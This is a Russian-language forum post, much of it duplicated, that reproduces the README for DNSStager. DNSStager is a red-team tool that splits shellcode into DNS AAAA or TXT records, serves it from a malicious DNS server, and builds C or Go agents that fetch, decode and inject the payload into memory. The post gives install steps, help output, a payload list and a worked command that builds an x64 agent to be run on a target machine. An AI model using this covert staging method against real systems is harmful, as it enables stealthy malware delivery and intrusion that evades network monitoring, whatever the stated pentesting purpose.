Пожалуйста, обратите внимание, что пользователь заблокирован
DNSStager – это проект с открытым исходным кодом, основанный на Python, который используется для скрытия и передачи вашей полезной нагрузки с помощью DNS.
DNSStager создаст вредоносный DNS-сервер, который обрабатывает DNS-запросы к вашему домену и возвращает ваши полезные данные в качестве ответа на определенные запросы записи, такие как AAAA или TXT записи, после разделения их на куски и кодирования полезной нагрузки с использованием различных алгоритмов.
DNSStager может сгенерировать настраиваемый агент, написанный в Cили GoLang который будет разрешать последовательность доменов, извлекать полезную нагрузку, декодировать ее и, наконец, вводить ее в память на основе любого метода, который вы хотите.
Вы можете редактировать код агента DNSStager по своему усмотрению и создавать его, используя свои собственные методы выполнения.
Основная цель использования DNSStager – помочь красным командам / пентестерам доставлять свои полезные данные по скрытому каналу с использованием DNS.
Например, если вы выберете IPV6 вариант получения полезной нагрузки, ответ DNS будет примерно таким:
Где 5648:31d2:6548:8b52:6048:8b52:1848:8b52 часть вашей полезной нагрузки.
Таким образом, агент разрешит некоторые домены, чтобы получить полезную нагрузку, а затем декодировать ее и, наконец, ввести в память.
В настоящее время DNSStager поддерживает только две записи AAAA и TXT. Вы можете кодировать свою полезную нагрузку с помощью XOR для AAAA записи, и по умолчанию она будет закодирована как base64, если вы выберете TXT запись.
Вам необходимо установить GoLang версию 1.16.3 и обязательно установить следующие GoLang пакеты:
Сценарий setup.sh должен сделать это за вас, но дважды проверьте требования, прежде чем использовать его!
Затем вам нужно установить требования, используя следующую команду:
И не забудьте установить все ранее упомянутые требования.
После этого вы готовы запустить DNSStager от имени пользователя root, чтобы получить следующее:
Вы можете прочитать эту статью полностью о том, как настроить и использовать DNSStager.
И вы можете проверить параметры, используя -h переключатель, как показано ниже:
sudo ./dnsstager.py – domain test.mydnsserver.live – payload x64/c/ipv6 – output /tmp/a2.exe – prefix cloud-srv- – shellcode_path ~/payload.bin – sleep 1 – xorkey 0x10
И вывод будет:
И чтобы проверить, все ли работает, отправим DNS-запрос на cloud-srv-0.test.mydnsserver.live адрес, чтобы получить следующее:
Мы видим, что в f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b качестве ответа мы получили первые 16 байтов нашей закодированной полезной нагрузки.
Затем вы можете запустить агент /tmp/a2.exe (как указано в параметре –output в строке команды) на целевой машине, и он загрузит все требуемые фрагменты, декодирует их и вставит в память для вас.
Источник
DNSStager создаст вредоносный DNS-сервер, который обрабатывает DNS-запросы к вашему домену и возвращает ваши полезные данные в качестве ответа на определенные запросы записи, такие как AAAA или TXT записи, после разделения их на куски и кодирования полезной нагрузки с использованием различных алгоритмов.
DNSStager может сгенерировать настраиваемый агент, написанный в Cили GoLang который будет разрешать последовательность доменов, извлекать полезную нагрузку, декодировать ее и, наконец, вводить ее в память на основе любого метода, который вы хотите.
Вы можете редактировать код агента DNSStager по своему усмотрению и создавать его, используя свои собственные методы выполнения.
Основная цель использования DNSStager – помочь красным командам / пентестерам доставлять свои полезные данные по скрытому каналу с использованием DNS.
Как это работает?
В зависимости от вашего варианта разрешения DNS DNSStager разделит вашу полезную нагрузку на части и сохранит каждый фрагмент полезной нагрузки в качестве ответа для поддомена.Например, если вы выберете IPV6 вариант получения полезной нагрузки, ответ DNS будет примерно таким:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52Где 5648:31d2:6548:8b52:6048:8b52:1848:8b52 часть вашей полезной нагрузки.
Таким образом, агент разрешит некоторые домены, чтобы получить полезную нагрузку, а затем декодировать ее и, наконец, ввести в память.
В настоящее время DNSStager поддерживает только две записи AAAA и TXT. Вы можете кодировать свою полезную нагрузку с помощью XOR для AAAA записи, и по умолчанию она будет закодирована как base64, если вы выберете TXT запись.
Ключевые особенности DNSStager:
DNSStager имеет несколько ключевых функций, таких как:- Скрыть и разрешить полезную нагрузку в IPV6 записях.
- Скрыть и разрешить полезную нагрузку в TXT записях.
- Кодировщик XOR для кодирования вашей полезной нагрузки.
- Кодировщик Base64 для кодирования полезной нагрузки (только для записей TXT).
- Чистый агент написан C с возможностью его настройки.
- Чистый агент написан GoLang с возможностью его настройки.
- Возможность использовать спящий режим между каждым запросом DNS.
- И МНОГОЕ ДРУГОЕ!
Требования
Вы можете установить требования Python DNSStager через:pip3 install -r requirements.txtВам необходимо установить GoLang версию 1.16.3 и обязательно установить следующие GoLang пакеты:
- golang.org/x/sys
- github.com/miekg/dns
apt install mingw-w64Сценарий setup.sh должен сделать это за вас, но дважды проверьте требования, прежде чем использовать его!
Монтаж
Чтобы получить последнюю версию DNSStager, обязательно клонируйте ее из этого репо, используя следующую команду:git clone https://github.com/mhaskar/DNSStagerЗатем вам нужно установить требования, используя следующую команду:
pip3 install -r requirements.txtИ не забудьте установить все ранее упомянутые требования.
После этого вы готовы запустить DNSStager от имени пользователя root, чтобы получить следующее:
┌─[[email protected]]─[/opt/redteaming/DNSStager]
└──╼ $sudo ./dnsstager.py
██████╗░███╗░░██╗░██████╗░██████╗████████╗░█████╗░░██████╗░███████╗██████╗░
██╔══██╗████╗░██║██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝░██╔════╝██╔══██╗
██║░░██║██╔██╗██║╚█████╗░╚█████╗░░░░██║░░░███████║██║░░██╗░█████╗░░██████╔╝
██║░░██║██║╚████║░╚═══██╗░╚═══██╗░░░██║░░░██╔══██║██║░░╚██╗██╔══╝░░██╔══██╗
██████╔╝██║░╚███║██████╔╝██████╔╝░░░██║░░░██║░░██║╚██████╔╝███████╗██║░░██║
╚═════╝░╚═╝░░╚══╝╚═════╝░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝░╚═════╝░╚══════╝╚═╝░░╚═╝
Beta Version Hide your payload in DNS
[-] Please specify a domain name using – domain
└──╼ $sudo ./dnsstager.py
██████╗░███╗░░██╗░██████╗░██████╗████████╗░█████╗░░██████╗░███████╗██████╗░
██╔══██╗████╗░██║██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝░██╔════╝██╔══██╗
██║░░██║██╔██╗██║╚█████╗░╚█████╗░░░░██║░░░███████║██║░░██╗░█████╗░░██████╔╝
██║░░██║██║╚████║░╚═══██╗░╚═══██╗░░░██║░░░██╔══██║██║░░╚██╗██╔══╝░░██╔══██╗
██████╔╝██║░╚███║██████╔╝██████╔╝░░░██║░░░██║░░██║╚██████╔╝███████╗██║░░██║
╚═════╝░╚═╝░░╚══╝╚═════╝░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝░╚═════╝░╚══════╝╚═╝░░╚═╝
Beta Version Hide your payload in DNS
[-] Please specify a domain name using – domain
Применение
Чтобы начать использовать DNSStager, не забудьте сначала настроить параметры DNS, вам необходимо сделать так, чтобы ваш домен указывал на экземпляр DNSStager NS record, чтобы обрабатывать все запросы DNS к вашему домену.Вы можете прочитать эту статью полностью о том, как настроить и использовать DNSStager.
И вы можете проверить параметры, используя -h переключатель, как показано ниже:
┌─[[email protected]]─[/opt/redteaming/DNSStager]
└──╼ $sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX]
[--payload PAYLOAD] [--output OUTPUT]
[--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY]
[--sleep SLEEP]
DNSStager main parser
optional arguments:
-h, – help show this help message and exit
– domain DOMAIN The domain you want to use as staging host
– payloads show all payloads
– prefix PREFIX Prefix to use as part of your subdomain schema
– payload PAYLOAD Payload to use, see – payloads for more details
– output OUTPUT Agent output path
– shellcode_path SHELLCODE_PATH
Shellcode file path
– xorkey XORKEY XOR key to encode your payload with
– sleep SLEEP sleep for N seconds between each DNS request
└──╼ $sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX]
[--payload PAYLOAD] [--output OUTPUT]
[--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY]
[--sleep SLEEP]
DNSStager main parser
optional arguments:
-h, – help show this help message and exit
– domain DOMAIN The domain you want to use as staging host
– payloads show all payloads
– prefix PREFIX Prefix to use as part of your subdomain schema
– payload PAYLOAD Payload to use, see – payloads for more details
– output OUTPUT Agent output path
– shellcode_path SHELLCODE_PATH
Shellcode file path
– xorkey XORKEY XOR key to encode your payload with
– sleep SLEEP sleep for N seconds between each DNS request
- –domain: вы можете использовать эту опцию, чтобы выбрать основной домен, который вы будете использовать для обработки DNS-запросов.
- – prefix: префикс, который вы хотите использовать для схемы поддомена. Например, если ваш основной домен – это, fakedns.liveвы можете указать префикс, например, «cdn». Таким образом, сгенерированные домены будут иметь следующий шаблон:cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.live
- –payload: «агент» полезной нагрузки DNSStager, который вы хотите сгенерировать на основе техники, языка программирования и архитектуры.
- –output: Выходной путь для сохранения исполняемого “агента” полезной нагрузки DNSStager.
- –shellcode_path: путь к вашему raw/ binшеллкоду.
- –xorkey: ключ XOR для кодирования полезной нагрузки.
- –sleep: используется для перехода в спящий режим в течение N секунд между каждым запросом DNS.
Полезные данные DNSStager
Чтобы проверить доступные полезные данные DNSStager, вы можете использовать ./dnsstager.py – payloads для получения следующих результатов:┌─[[email protected]]─[/opt/redteaming/DNSStager]
└──╼ $sudo ./dnsstager.py – payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
└──╼ $sudo ./dnsstager.py – payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
Пример использования DNSStager с IPV6
В этом примере запускается DNSStager для разрешения вашей полезной нагрузки с IPV6 использованием домена test.mydnsserver.liveс префиксом cloud-srv- для создания скомпилированного x64 Cагента, закодированного с помощью ключа 0x10:sudo ./dnsstager.py – domain test.mydnsserver.live – payload x64/c/ipv6 – output /tmp/a2.exe – prefix cloud-srv- – shellcode_path ~/payload.bin – sleep 1 – xorkey 0x10
И вывод будет:
И чтобы проверить, все ли работает, отправим DNS-запрос на cloud-srv-0.test.mydnsserver.live адрес, чтобы получить следующее:
Мы видим, что в f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b качестве ответа мы получили первые 16 байтов нашей закодированной полезной нагрузки.
Затем вы можете запустить агент /tmp/a2.exe (как указано в параметре –output в строке команды) на целевой машине, и он загрузит все требуемые фрагменты, декодирует их и вставит в память для вас.
Источник